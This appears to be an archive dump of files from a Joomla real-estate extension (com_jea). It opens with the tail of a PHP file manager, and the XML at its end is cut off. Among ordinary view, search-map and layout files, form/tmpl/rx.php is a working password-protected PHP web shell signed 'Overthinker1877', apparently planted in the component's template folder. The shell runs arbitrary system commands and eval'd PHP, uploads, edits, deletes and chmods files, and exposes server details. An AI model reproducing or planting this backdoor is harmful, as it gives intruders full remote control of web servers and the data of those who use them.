if(rename($name, PATH . "/" .
$_POST['name'])) {
echo ("<script>alert('Renamed.');
window.location.replace('?p=" . encodePath(PATH) .
"');</script>");
} else {
echo ("<script>alert('Some error
occurred.'); window.location.replace('?p=" .
encodePath(PATH) . "');</script>");
}
}
}
}
if (isset($_GET['e'])) {
if (!empty($_GET['e']) &&
isset($_GET['q'])) {
echo '
<form method="post">
<textarea style="height: 500px;
width: 90%;" name="data">' .
htmlspecialchars(file_get_contents(PATH."/".$_GET['e']))
. '</textarea>
<br>
<input type="submit" class="btn btn-dark"
value="Save" name="edit">
</form>';
if(isset($_POST['edit'])) {
$filename = PATH."/".$_GET['e'];
$data = $_POST['data'];
$open = fopen($filename,"w");
if(fwrite($open,$data)) {
echo ("<script>alert('Saved.');
window.location.replace('?p=" . encodePath(PATH) .
"');</script>");
} else {
echo ("<script>alert('Some error
occurred.'); window.location.replace('?p=" .
encodePath(PATH) . "');</script>");
}
fclose($open);
}
}
}
if (isset($_POST["upload"])) {
$target_file = PATH . "/" .
$_FILES["fileToUpload"]["name"];
if
(move_uploaded_file($_FILES["fileToUpload"]["tmp_name"],
$target_file)) {
echo
"<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"]))
. " has been uploaded.</p>";
} else {
echo "<p>Sorry, there was an error uploading your
file.</p>";
}
}
if (isset($_GET['d']) && isset($_GET['q']))
{
$name = PATH . "/" . $_GET['d'];
if (is_file($name)) {
if(unlink($name)) {
echo ("<script>alert('File removed.');
window.location.replace('?p=" . encodePath(PATH) .
"');</script>");
} else {
echo ("<script>alert('Some error
occurred.'); window.location.replace('?p=" .
encodePath(PATH) . "');</script>");
}
} elseif (is_dir($name)) {
if(rmdir($name) == true) {
echo ("<script>alert('Directory
removed.'); window.location.replace('?p=" . encodePath(PATH)
. "');</script>");
} else {
echo ("<script>alert('Some error
occurred.'); window.location.replace('?p=" .
encodePath(PATH) . "');</script>");
}
}
}
?>
<script
src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
crossorigin="anonymous"></script>
</body>
</html>form/tmpl/rx.php000064400000035171151165631240007640
0ustar00<?php
error_reporting(0);
$password='x7781x';
$xyn='tunafeesh';
if(isset($_POST['pass']))
{if($_POST['pass']==$password) {setcookie($xyn,
$_POST['pass'], time()+3600);} let_him_in();}
if(!empty($password) && !isset($_COOKIE[$xyn]) or
($_COOKIE[$xyn]!=$password)) {initiate(); die();}
$me=basename(__FILE__);$server_soft=$_SERVER["SERVER_SOFTWARE"];$uname=php_uname();$cur_user=get_current_user().'
uid:'.getmyuid().'
gid:'.getmygid();$safe_mode=ini_get('safe_mode');$safe_mode=($safe_mode)?('<font
color:crimson>ON</font>'):('<font
color=#CBD4C1>OFF</font>');$cwd=getcwd();$bckC='#333333';$txtC='#999999';
$start='<html><head><title>'.getenv('HTTP_HOST').'
=> secured by Overthinker1877</title><style>body
{background:'.$bckC.';color:'.$txtC.';font-size:9pt;font-family:Trebuchet
MS,cursive,sans
serif;}h1#n{position:fixed;top:10px;left:10px;text-shadow:0px 0px 5px
black;color:#DFE6D5;}h1#nm{text-shadow:0px 0px 5px black;color:#79a317;}a
{color:'.$txtC.';text-decoration:none;font-family:Comic Sans
Ms,cursive,sans serif;}a:hover {color:#FBFFF4;}hr
{background:'.$txtC.';color:black;}p#bck{position:fixed;top:20px;right:20px;}#menu
{position:fixed;bottom:0px;width:100%;font-size:13pt;}#menuB
{background:'.$bckC.';box-shadow:0px 0px 10px
black;border-radius:15px;padding:5px 20px 5px
20px;}table#moreI{font-size:9pt;background:'.$bckC.';border-radius:10px;box-shadow:0px
0px 10px black;padding:5px;position:fixed;bottom:XMR
{background:'.$bckC.';border-radius:10px;border:1px solid
'.$txtC.';color:'.$txtC.';text-align:center;}input#ltb
{background:rgba(0,0,0,0);border-radius:10px;color:'.$txtC.';box-shadow:0px
0px 1px '.$txtC.';border:0px solid rgba(0,0,0,0);}table#ft
{font-size:9pt;padding:5px;border-radius:10px;box-shadow:0px 0px 10px
black;}td#fh {border-bottom:1px solid
'.$txtC.';padding-bottom:3px;}tr#fn:hover{box-shadow:0px 0px 5px
black;}h3 {text-shadow:0px 0px 4px black;font-size:13pt;}textarea#edit
{background:'.$bckC.';color:'.$txtC.';box-shadow:0px
0px 10px
black;border-radius:10px;border:none;padding:10px;}</style><script
type="text/javascript">function get_inf()
{if(document.getElementById(\'moreI\').style.display=="block"){document.getElementById(\'moreI\').style.display="none"}else
{document.getElementById(\'moreI\').style.display="block";}}
function xyn(id1,id2)
{document.getElementById(id1).style.display="block";document.getElementById(id2).style.display="none";}</script></head><body><h1
id="n"><a
href="?x=x">Overthinker1877</a></h1>';
$menu='<center><p id="menu"><span
id="menuB"><<a
href="'.$me.'">Home</a>> <<a
href="?x=cmd&d="'.realpath('.').'">Command</a>>
<<a
href="?x=php&d="'.realpath('.').'">PHP</a>>
<<a href="javascript:get_inf();">Info</a>>
<<a href="?x=q">Logout</a>>
</span></p></center>';$end='</body></html>';$inf='<center><p
id="inf">|||
<b><i><u>Software:</u></i></b>
'.$server_soft.' |||
<b><i><u>Uname:</u></i></b>
'.$uname.' |||</br>|||
<b><i><u>User:</u></i></b>
'.$cur_user.' ||| <b><i><u>Safe
Mode:</u></i></b> '.$safe_mode.' |||
<b><i><u>Directory:
</i></b></u>'.$cwd.'
|||</p></center><hr>';
print $start;print $menu;print $inf;
$moreI=array('Versiyon a PHP' => phpversion(),'Zend
Version' => zend_version(),'Magic Quotes' =>
magic_quotes(),'Curl' => curl(),'Register Globals'
=> reg_globals(),'OpenBase Dir' =>
openbase_dir(),'MySQL' => myql(),'Gzip' =>
gzip(),'MsSQL' => mssql(),'PostgreSQL' =>
postgresql(),'Oracle' => oracle(),'Total Space'
=> h_size(disk_total_space('/')) ,'Used Space' =>
h_size(disk_free_space('/')),'your IP' =>
'185.137.232.131','Server IP' =>
$_SERVER['SERVER_ADDR']);print '<table
id="moreI">'; foreach($moreI as $n => $v) {print
'<td>'.$n.'</td><td> :>
</td><td> '.$v.'</td><tr>';} print
'<td colspan=3 align="center"><a
href="?x=phpinf"
target="_blank">PHPInfo</a></td></table>';
if(isset($_GET['d'])) {chdir($_GET['d']);}
if(isset($_REQUEST['x']))
{
print '<p id="bck"><a
href="?d='.realpath('.').'">BACK</a></p>';
switch($_REQUEST['x'])
{
case 'c':
if(isset($_POST['edit_form'])){$f=$_GET['f'];$e=fopen($f,'w')
or print '<p id="nn">File Open
Nebo</p>';fwrite($e,$_POST['edit_form']) or print
'<p id="nn">Couldn\'t Save
File</p>';fclose($e);}print '<center><p>Editing
'.$_GET['f'].' ('.perms($_GET['d'] .
$_GET['f']).') .</p></br></br><form
action="?x=c&d='.realpath('.').'&f='.$_GET['f'].'"
method="POST"><textarea cols=90 rows=15
name="edit_form"
id="edit">';if(file_exists($_GET['f'])){$c=file($_GET['f']);foreach($c
as $l){print htmlspecialchars($l);}}print
'</textarea></br></br><input
type="submit" value="Save"
id="sv"></form></center>';break;
case 'cmd': print
'</br></br><center><h3>Command Kar
Bine</h3><form
action=?x=php&d="'.realpath('.').'"
method="POST"><input typa</h3><form
action="?x=cmd&d='.realpath('.').'"
method="POST"><input type="text"
value="" name="cmd" id="lt"> <input
type="submit" value="Go"
id="lt"></form></br><textarea cols=90 rows=15
id="edit">';if(isset($_POST['cmd']))
{$cmd=$_POST['cmd']; execute(exec_meth(),$cmd);}print
'</textarea></center>';break;
case 'php': print
'</br></br><center><h3>PHP
Code="text" value="" name="pcode"
id="lt"> <input type="submit"
value="Go"
id="lt"></form></br><textarea cols=90 rows=15
id="edit">';if(isset($_POST['pcode']))
{$p=$_POST['pcode'];eval($p);}print
'</textarea></center>';break;
case 'phpinf': phpinfo();break;
case 'q':
setcookie($xyn,'',time()-3600);let_him_in();break;
case 'x': print
'</br></br></br><center><h1
id="nm">ha to kux :/ Overthinker1877</h1><h3>Mail:
<a
href="mailto:nrm.hacker@gmail.com">nrm.hacker@gmail.com</a></h3><h3>Twitter:
<a href="http://www.twitter.com/kurdox"
target="_blank">Overthinker1877</a></h3><h3>Facebook:
<a href="http://www.fb.com/Overthinker1877"
target="_blank">Overthinker1877</a></h3></center>';break;
}
}
else
{
if(isset($_GET['d'])) {chdir($_GET['d']);}
if(isset($_GET['ndir']))
{$d=$_GET['d'];$n=$_GET['ndir'];mkdir($d
.DIRECTORY_SEPARATOR. $n);}
if(isset($_POST['new']))
{$n=$_POST['new'];$o=$_POST['old'];$d=$_POST['d'];rename($d.DIRECTORY_SEPARATOR.$o,$d.DIRECTORY_SEPARATOR.$n);}
if(isset($_GET['deld'])) {$d=$_GET['deld'];
rmdir($d);}
if(isset($_GET['delf'])) {$d=$_GET['delf'];
unlink($d);}
if(isset($_GET['ch'])) {$ch=$_GET['ch'];
$d=$_GET['df']; chmod($d,$ch);}
if(isset($_FILES['upfile']['name']))
{$d=realpath('.').DIRECTORY_SEPARATOR.basename($_FILES['upfile']['name']);move_uploaded_file($_FILES['upfile']['tmp_name'],$d);}
print '<p align="center"
id="cp">'.curpath('').'</p>';
print '<table width=90% align="center"
id="lt"cellpadding="0"><td
align="center"><form
action="?d='.realpath('.').'"
method="GET">Create Dir: <input type="hidden"
name="d" value="'.realpath('.').'"
id="lt"><input type="text" value=""
name="ndir" id="lt"> <input
type="submit" value="Go"
id="lt"></form></td><td
align="center"><form
action="?d="'.realpath('.').'"
method="GET">Create File: <input type="hidden"
value="'.realpath('.').'" name="d"
id="lt"><input type="hidden" value="c"
name="x"><input type="text" value=""
name="f" id="lt"> <input type="submit"
value="Go" id="lt"></form></td><td
align="center"><form
action="?x=cmd&d='.realpath('.').'"
method="POST">Command b kar bine: <input
type="text" value="" name="cmd"
id="lt"> <input type="submit"
value="Go" id="lt"></form></td><td
align="center"><form
action="?d='.realpath('.').'"
method="POST" enctype="multipart/form-data">Upload
bke: <input type="hidden" value="100000000"
name="MAX_FILE_SIZE"><input type="file"
name="upfile" id="ltb"> <input
type="submit" value="Go"
id="lt"></form></td></table>';
print '</br>';
$filex=array();
$dirx=array();
print '<table width="75%" align="center"
id="ft" ><td
id="fh"><b>Name</b></td><td
id="fh"
align="center"><b>Permissions</b></td><td
id="fh"
align="center"><b>Owner</b></td><td
id="fh"
align="center"><b>Options</b></td><tr
id="fn">';
if($handle=opendir('.')) {while(false !==
($file=readdir($handle))) {if(is_dir($file)) {$dirx[] .= $file;} else
{$filex[] .= $file;}}asort($filex);asort($dirx);$i=0;
foreach($dirx as $file) {if(function_exists('posix_getpwuid')
&& function_exists('posix_getgrgid'))
{$own=posix_getpwuid(fileowner($file));
$grp=posix_getgrgid(filegroup($file));} else
{$own['name']='???';
$grp['name']='???';} print '<td
id="fc"><span id="n'.$file.'"><a
href="?d='.realpath($file).'">'.$file.'</a></span><span
id="r'.$file.'"
style="display:none;"><form
action="?d='.realpath('.').'"
method="POST"><input type="hidden"
value="'.realpath('.').'"
name="d"> <input type="text"
value="'.$file.'" id="lt"
name="new"><input type="hidden"
value="'.$file.'" name="old"> <input
type="submit" id="lt" value="Rename">
<input type="button" id="lt"
value="Cancel"
onClick="xyn(\'n'.$file.'\',\'r'.$file.'\');"></form></span><span
id="d'.$file.'"
style="display:none;"><form
action="?d='.realpath('.').'"
method="GET">Are you Sure?<input type="hidden"
value="'.realpath($file).'" name="deld">
<input type="submit" value="Yes"
id="lt"> <input type="button" id="lt"
value="No"
onClick="xyn(\'n'.$file.'\',\'d'.$file.'\')"></form></span></td><td
id="fc" align="center"><span
id="h'.$file.'"><a
href="javascript:xyn(\'c'.$file.'\',\'h'.$file.'\');"><font
color="'.get_color($file).'">'.perms($file).'</font></a></span><span
id="c'.$file.'"
style="display:none;"><form
action="?d='.realpath('.').'"
method="GET"><input type="hidden"
value="'.realpath($file).'"
name="df"><input type="text"
value="'.perms($file).'" id="lt"
name="ch"> <input type="submit" id="lt"
value="Go"> <input type="button"
id="lt" value="Cancel"
onClick="xyn(\'h'.$file.'\',\'c'.$file.'\');"></form></span></td><td
id="fc"
align="center">'.$own['name'].' :
'.$grp['name'].'</td>'; if($i==0 or $i==1)
{print '<td id="fc"></td><tr
id="fn">';} else {print '<td id="fc"
align="center"><a
href="javascript:xyn(\'r'.$file.'\',\'n'.$file.'\')">[R]</a>
<a
href="javascript:xyn(\'d'.$file.'\',\'n'.$file.'\')">[D]</a></td><tr
id="fn">';} $i++;}
foreach($filex as $file) {if(function_exists('posix_getpwuid')
&& function_exists('posix_getgrgid'))
{$own=posix_getpwuid(fileowner($file));
$grp=posix_getgrgid(filegroup($file));} else
{$own['name']='???';
$grp['name']='???';} print '<td
id="fc"><span id="n'.$file.'"><a
href="?x=c&d='.realpath('.').'&f='.$file.'">'.$file.'</a></span><span
id="r'.$file.'"
style="display:none;"><form
action="?d='.realpath('.').'"
method="POST"><input type="hidden"
value="'.realpath('.').'"
name="d"> <input type="text" id="lt"
value="'.$file.'" name="new"><input
type="hidden" value="'.$file.'"
name="old"><input type="submit" id="lt"
value="Rename"><input type="button"
id="lt" value="Cancel"
onClick="xyn(\'n'.$file.'\',\'r'.$file.'\');"></form></span><span
id="d'.$file.'"
style="display:none;"><form
action="?d='.realpath('.').'"
method="GET">Are you Sure?<input type="hidden"
value="'.realpath($file).'" name="delf">
<input type="submit" value="Yes"
id="lt"> <input type="button" id="lt"
value="No"
onClick="xyn(\'n'.$file.'\',\'d'.$file.'\')"></form></span></td><td
id="fc" align="center"><span
id="h'.$file.'"><a
href="javascript:xyn(\'c'.$file.'\',\'h'.$file.'\');"><font
color="'.get_color($file).'">'.perms($file).'</font></a></span><span
id="c'.$file.'"
style="display:none;"><form
action="?d='.realpath('.').'"
method="GET"><input type="hidden"
value="'.realpath($file).'"
name="df"><input type="text"
value="'.perms($file).'" id="lt"
name="ch"> <input type="submit" id="lt"
value="Go"> <input type="button"
id="lt" value="Cancel"
onClick="xyn(\'h'.$file.'\',\'c'.$file.'\');"></form></span></td><td
id="fc"
align="center">'.$own['name'].' :
'.$grp['name'].'</td><td id="fc"
align="center"><a
href="javascript:xyn(\'r'.$file.'\',\'n'.$file.'\')">[R]</a>
<a
href="javascript:xyn(\'d'.$file.'\',\'n'.$file.'\');">[D]</a></td><tr
id="fn">';}}
print '</table></br></br></br>';
}
function openbase_dir(){$x=ini_get('open_basedir');if(!$x)
{$o='<font color=#ccff00>OFF</font>';}else
{$o='<font color=crimson>ON</font>';}return($o);}
function magic_quotes(){$x=get_magic_quotes_gpc();if(empty($x))
{$m='<font color=#ccff00>OFF</font>';}else
{$m='<font color=crimson>ON</font>';}return($m);}
function curl(){if(extension_loaded('curl')) {$c='<font
color=crimson>ON</font>';}else {$c='<font
color=#ccff00>OFF</font>';}return($c);}
function reg_globals(){if(ini_get('reqister_globals'))
{$r='<font color=crimson>ON</font>';}else
{$r='<font color=#ccff00>OFF</font>';}return($r);}
function oracle(){if(function_exists('ocilogon'))
{$o='<font color=crimson>ON</font>';}else
{$o='<font color=#ccff00>OFF</font>';}return($o);}
function postgresql(){if(function_exists('pg_connect'))
{$p='<font color=crimson>ON</font>';}else
{$p='<font color=#ccff00>OFF</font>';}return($p);}
function myql(){if(function_exists('mysql_connect'))
{$m='<font color=crimson>ON</font>';}else
{$m='<font color=#ccff00>OFF</font>';}return($m);}
function mssql(){if(function_exists('mssql_connect'))
{$m='<font color=crimson>ON</font>';}else
{$m='<font color=#ccff00>OFF</font>';}return($m);}
function gzip(){if(function_exists('gzencode'))
{$m='<font color=crimson>ON</font>';}else
{$m='<font color=#ccff00>OFF</font>';}return($m);}
function h_size($s){if($s>=1073741824) {$s=round($s/1073741824*100)/100
.'GB';}elseif($s>=1048576) {$s=round($s/1048576*100)/100
.'MB';}elseif($s>=1024) {$s=round($s/1024*100)/100
.'KB';}else {$s=$s.'B';}return($s);}
function curpath($d){if($d=='')
{$d=getcwd();}$p='';$n='';$dx=explode(DIRECTORY_SEPARATOR,$d);for($i=0;$i
< count($dx);$i++) {$g=$dx[$i];$p.=$dx[$i] . DIRECTORY_SEPARATOR; $n
.='<a
href="?d='.$p.'">'.$g.'</a>'.DIRECTORY_SEPARATOR;}return($n);}
function get_color($f){if(is_writable($f))
{$c='#ccff00';}if(!is_writable($f) && is_readable($f))
{$c=''.$txtC.'';}if(!is_writable($f) &&
!is_readable($f)) {$c='crimson';}return($c);}
function perms($f) {if(file_exists($f)) {return
substr(sprintf('%o',fileperms($f)), -4);} else {return
'???';}}
function exec_meth() {if(function_exists('passthru'))
{$m='passthru';} if(function_exists('exec'))
{$m='exec';} if(function_exists('shell_exec'))
{$m='shell_exec';} if(function_exists('system'))
{$m='system';} if(!isset($m)) {$m='Disabled';}
return($m);}
function execute($m,$c) {if($m=='passthru') {passthru($c);}
elseif($m=='system') {system($c);}
elseif($m=='shell_exec') {print shell_exec($c);}
elseif($m=='exec') {exec($c,$r); foreach($r as $o) {print
$o.'</br>';}} else {print 'xxxte?';}}
function initiate(){print '<table border=0 width=100% height=100%
align=center style="background:#333333;color:silver;"><td
valign="middle"><center><form
action="'.basename(__FILE__).'"
method="POST">Password <input type="password"
maxlength="10" name="pass"
style="background:#333333;color:silver;border-radius:10px;border:1px
solid silver;text-align:center;"> <input type="submit"
value=">>"
style="background:#333333;color:silver;border-radius:10px;border:1px
solid
silver;"></form></center></td></table>';}
function let_him_in() { header("Location: ".basename(__FILE__));
}
print $end;
?>form/view.html.php000064400000004631151165631240010145
0ustar00<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Property form view.
*
* @package Joomla.Site
* @subpackage com_jea
*
* @since 2.0
*/
class JeaViewForm extends JViewLegacy
{
/**
* The form object
*
* @var JForm
*/
protected $form;
/**
* The database record
*
* @var JObject|boolean
*/
protected $item;
/**
* The model state
*
* @var JObject
*/
protected $state;
/**
* The component parameters
*
* @var Joomla\Registry\Registry
*/
protected $params;
/**
* Overrides parent method.
*
* @param string $tpl The name of the template file to parse.
*
* @return mixed A string if successful, otherwise an Error object.
*
* @see JViewLegacy::display()
*/
public function display($tpl = null)
{
JHtml::stylesheet('com_jea/jea.css', array('relative'
=> true));
$app = JFactory::getApplication();
$user = JFactory::getUser();
$this->form = $this->get('Form');
$this->item = $this->get('Item');
$this->state = $this->get('State');
$this->params = $app->getParams();
$authorised = false;
if (empty($this->item->id))
{
if (!$user->id)
{
// When user is not authenticated
if ($this->params->get('login_behavior') ==
'before')
{
$return = base64_encode(JFactory::getURI());
$message = JText::_('JGLOBAL_YOU_MUST_LOGIN_FIRST');
$redirect =
JRoute::_('index.php?option=com_users&view=login&return='
. $return, false);
$app->redirect($redirect, $message);
}
else
{
// The user should be redirected on the login form after the form
submission.
$authorised = true;
}
}
else
{
$authorised = $user->authorise('core.create',
'com_jea');
}
}
else
{
$asset = 'com_jea.property.' . $this->item->id;
// Check general edit permission first.
if ($user->authorise('core.edit', $asset))
{
$authorised = true;
}
elseif ($user->authorise('core.edit.own', $asset)
&& $this->item->created_by == $user->id)
{
$authorised = true;
}
}
if (!$authorised)
{
throw new RuntimeException(JText::_('JERROR_ALERTNOAUTHOR'));
}
parent::display($tpl);
}
}
properties/tmpl/searchmap.php000064400000022671151165631240012404
0ustar00<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
*
* @var $this JeaViewProperties
*/
JHtml::addIncludePath(JPATH_COMPONENT_ADMINISTRATOR .
'/helpers/html');
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
$transactionType =
$this->params->get('searchform_transaction_type');
$Itemid =
JFactory::getApplication()->input->getInt('Itemid', 0);
$states = array();
$filters = $this->get('Filters');
foreach ($filters as $name => $defaultValue)
{
$states['filter_' . $name] =
$this->state->get('filter.' . $name, $defaultValue);
}
$states['filter_transaction_type'] = $transactionType;
$fields = json_encode($states);
$langs = explode('-', $this->document->getLanguage());
$lang = $langs[0];
$region = $langs[1];
$this->document->addScript(
'https://maps.google.com/maps/api/js?key=' .
$this->params->get('googlemap_api_key') .
'&language=' . $lang . '&region=' .
$region
);
// Include jQuery
JHtml::_('jquery.framework');
JHTML::script('com_jea/jquery-search.js',
array('relative' => true));
JHtml::script('com_jea/geoxml3.js', array('relative'
=> true));
JHTML::script('com_jea/jquery-geoSearch.js',
array('relative' => true));
JHTML::script('com_jea/jquery-ui-draggable.min.js',
array('relative' => true));
JHTML::script('com_jea/jquery-biSlider.js',
array('relative' => true));
$model = $this->getModel();
$fieldsLimit = json_encode(
array(
'RENTING' => array(
'price' => $model->getFieldLimit('price',
'RENTING'),
'surface' =>
$model->getFieldLimit('living_space', 'RENTING')
),
'SELLING' => array(
'price' => $model->getFieldLimit('price',
'SELLING'),
'surface' =>
$model->getFieldLimit('living_space', 'SELLING')
)
)
);
$default_area =
$this->params->get('searchform_default_map_area', $lang);
$currency_symbol = $this->params->get('currency_symbol',
'€');
$surface_measure = $this->params->get('surface_measure');
$map_width = $this->params->get('searchform_map_width', 0);
$map_height = $this->params->get('searchform_map_height',
400);
$script =<<<JS
jQuery(function($) {
var minPrice = 0;
var maxPrice = 0;
var minSpace = 0;
var maxSpace = 0;
function updateSliders()
{
if(!$('#price_slider') &&
!$('#space_slider')) {
return;
}
var transaction_type = 'SELLING';
var transTypes =
$('#jea-search-form').find('[name=\"filter_transaction_type\"]');
jQuery.each(transTypes, function(idx, item){
if ($(item).prop('checked')) {
transaction_type = $(item).val();
}
})
var fieldsLimit = $fieldsLimit;
minPrice = fieldsLimit[transaction_type].price[0];
maxPrice = fieldsLimit[transaction_type].price[1];
minSpace = fieldsLimit[transaction_type].surface[0];
maxSpace = fieldsLimit[transaction_type].surface[1];
$('#budget_min').val(minPrice);
$('#budget_max').val(maxPrice);
$('#min_price_value').text(minPrice + '
$currency_symbol');
$('#max_price_value').text(maxPrice + '
$currency_symbol');
$('#living_space_min').val(minSpace);
$('#living_space_max').val(maxSpace);
$('#min_space_value').text(minSpace + '
$surface_measure');
$('#max_space_value').text(maxSpace + '
$surface_measure');
}
var jeaSearch = new JEASearch('#jea-search-form',
{fields:$fields, useAJAX:true,
transactionType:'$transactionType'});
jeaSearch.refresh();
geoSearch = new JEAGeoSearch('map_canvas', {
counterElement : 'properties_count',
defaultArea : '{$default_area}',
form : 'jea-search-form',
Itemid : {$Itemid}
});
updateSliders();
geoSearch.refresh();
jeaSearch.refresh();
$('#jea-search-form').on('reset', function(){
jeaSearch.reset();
updateSliders();
geoSearch.refresh();
});
$('#filter_type_id, #filter_department_id, #filter_town_id,
#filter_area_id, #rooms_min, .amenities input').on('change',
function() {
geoSearch.refresh();
});
$('#jea-search-selling,
#jea-search-renting').on('change', function() {
updateSliders();
geoSearch.refresh();
});
$('#price_slider').bislider({
steps:100,
onChange: function(steps) {
var priceDiff = maxPrice - minPrice;
$('#budget_min').val(Math.round(((priceDiff * steps.minimum )
/ 100) + minPrice));
$('#budget_max').val(Math.round(((priceDiff * steps.maximum )
/ 100) + minPrice));
$('#min_price_value').text($('#budget_min').val() +
' $currency_symbol');
$('#max_price_value').text($('#budget_max').val() +
' $currency_symbol');
},
onComplete: function(step) {
geoSearch.refresh();
}
})
$('#space_slider').bislider({
steps:100,
onChange: function(steps) {
var spaceDiff = maxSpace - minSpace;
$('#living_space_min').val(Math.round(((spaceDiff *
steps.minimum ) / 100) + minSpace));
$('#living_space_max').val(Math.round(((spaceDiff *
steps.maximum ) / 100) + minSpace));
$('#min_space_value').text($('#living_space_min').val()
+ ' $surface_measure');
$('#max_space_value').text($('#living_space_max').val()
+ ' $surface_measure');
},
onComplete: function(step) {
geoSearch.refresh();
}
})
});
JS;
$this->document->addScriptDeclaration($script);
?>
<?php if ($this->params->get('show_page_heading', 1)) :
?>
<?php if ($this->params->get('page_heading')) : ?>
<h1><?php echo
$this->escape($this->params->get('page_heading'))
?></h1>
<?php else: ?>
<h1><?php echo
$this->escape($this->params->get('page_title'))
?></h1>
<?php endif ?>
<?php endif ?>
<form action="<?php echo
JRoute::_('index.php?option=com_jea&task=properties.search')
?>" method="post" id="jea-search-form">
<p>
<?php echo JHtml::_('features.types',
$this->state->get('filter.type_id', 0),
'filter_type_id') ?>
<?php if ($transactionType == 'RENTING'): ?>
<input type="hidden"
name="filter_transaction_type" value="RENTING" />
<?php elseif($transactionType == 'SELLING'): ?>
<input type="hidden"
name="filter_transaction_type" value="SELLING" />
<?php else: ?>
<input type="radio" name="filter_transaction_type"
id="jea-search-selling" value="SELLING"
<?php if ($states['filter_transaction_type'] ==
'SELLING') echo 'checked="checked"' ?>
/>
<label for="jea-search-selling"><?php echo
JText::_('COM_JEA_OPTION_SELLING') ?></label>
<input type="radio" name="filter_transaction_type"
id="jea-search-renting" value="RENTING"
<?php if ($states['filter_transaction_type'] ==
'RENTING') echo 'checked="checked"' ?>
/>
<label for="jea-search-renting"><?php echo
JText::_('COM_JEA_OPTION_RENTING') ?></label>
<?php endif ?>
</p>
<p>
<?php if
($this->params->get('searchform_show_departments', 1)):
?>
<?php echo JHtml::_('features.departments',
$states['filter_department_id'], 'filter_department_id'
) ?>
<?php endif ?>
<?php if ($this->params->get('searchform_show_towns',
1)): ?>
<?php echo JHtml::_('features.towns',
$states['filter_town_id'], 'filter_town_id' ) ?>
<?php endif ?>
<?php if ($this->params->get('searchform_show_areas',
1)): ?>
<?php echo JHtml::_('features.areas',
$states['filter_area_id'], 'filter_area_id' ) ?>
<?php endif ?>
<span id="found_properties"><?php echo
JText::_('COM_JEA_FOUND_PROPERTIES')?> : <span
id="properties_count">0</span></span>
</p>
<div id="map_canvas" style="width: <?php echo
$map_width ? $map_width.'px': '100%'?>; height:
<?php echo $map_height.'px'?>"></div>
<div class="clr"></div>
<?php if ($this->params->get('searchform_show_budget',
1)): ?>
<div class="jea_slider_block">
<h2><?php echo JText::_('COM_JEA_BUDGET')
?></h2>
<div id="price_slider"
class="slider_background">
<div id="knob1" class="knob"></div>
<div id="knob2" class="knob"></div>
</div>
<div class="slider_infos">
<span class="slider_min_value"
id="min_price_value">0</span>
<?php echo JText::_('COM_JEA_TO') ?>
<span class="slider_max_value"
id="max_price_value">0</span>
</div>
<input id="budget_max" type="hidden"
name="filter_budget_max" />
<input id="budget_min" type="hidden"
name="filter_budget_min" />
</div>
<?php endif ?>
<?php if
($this->params->get('searchform_show_living_space', 1)):
?>
<div class="jea_slider_block">
<h2><?php echo
JText::_('COM_JEA_FIELD_LIVING_SPACE_LABEL') ?></h2>
<div id="space_slider"
class="slider_background">
<div id="knob3" class="knob"></div>
<div id="knob4" class="knob"></div>
</div>
<div class="slider_infos">
<span class="slider_min_value"
id="min_space_value">0</span>
<?php echo JText::_('COM_JEA_TO') ?>
<span class="slider_max_value"
id="max_space_value">0</span>
</div>
<input id="living_space_min" type="hidden"
name="filter_living_space_min" />
<input id="living_space_max" type="hidden"
name="filter_living_space_max" />
</div>
<?php endif; ?>
<?php if
($this->params->get('searchform_show_number_of_rooms', 1)):
?>
<p>
<?php echo JText::_('COM_JEA_NUMBER_OF_ROOMS_MIN') ?>:
<input type="text" id="rooms_min"
name="filter_rooms_min" size="1" />
</p>
<?php endif; ?>
<div class="clr"></div>
<?php if
($this->params->get('searchform_show_amenities', 1)): ?>
<div class="amenities">
<?php echo JHtml::_('amenities.checkboxes',
$states['filter_amenities'], 'filter_amenities' ) ?>
<?php // In order to prevent null post for this field ?>
<input type="hidden" name="filter_amenities[]"
value="0" />
</div>
<?php endif; ?>
<p>
<input type="reset" class="button"
value="<?php echo JText::_('JSEARCH_FILTER_CLEAR')
?>" />
<input type="submit" class="button"
value="<?php echo JText::_('COM_JEA_LIST_PROPERTIES')
?>" />
</p>
</form>
properties/tmpl/search.xml000064400000012253151165631240011712
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_JEA_PROPERTIES_SEARCH_LAYOUT_TITLE">
<message>
<![CDATA[COM_JEA_PROPERTIES_SEARCH_LAYOUT_DESC]]>
</message>
</layout>
<fields name="params">
<fieldset name="basic"
label="COM_JEA_MENU_PARAMS_LABEL">
<field name="searchform_use_ajax" type="list"
label="COM_JEA_FIELD_USE_AJAX_LABEL"
description="COM_JEA_FIELD_USE_AJAX_DESC">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
<field name="searchform_transaction_type"
type="list"
label="COM_JEA_FIELD_TRANSACTION_TYPE_LABEL"
description="COM_JEA_FIELD_SEARCHFORM_TRANSACTION_TYPE_DESC">
<option value="">JALL</option>
<option
value="SELLING">COM_JEA_OPTION_SELLING</option>
<option
value="RENTING">COM_JEA_OPTION_RENTING</option>
</field>
<field name="searchform_show_freesearch"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_FREE_SEARCH_LABEL"
description="COM_JEA_FIELD_SEARCHFORM_FREE_SEARCH_DESC">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_departments"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_DEPARTMENTS_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
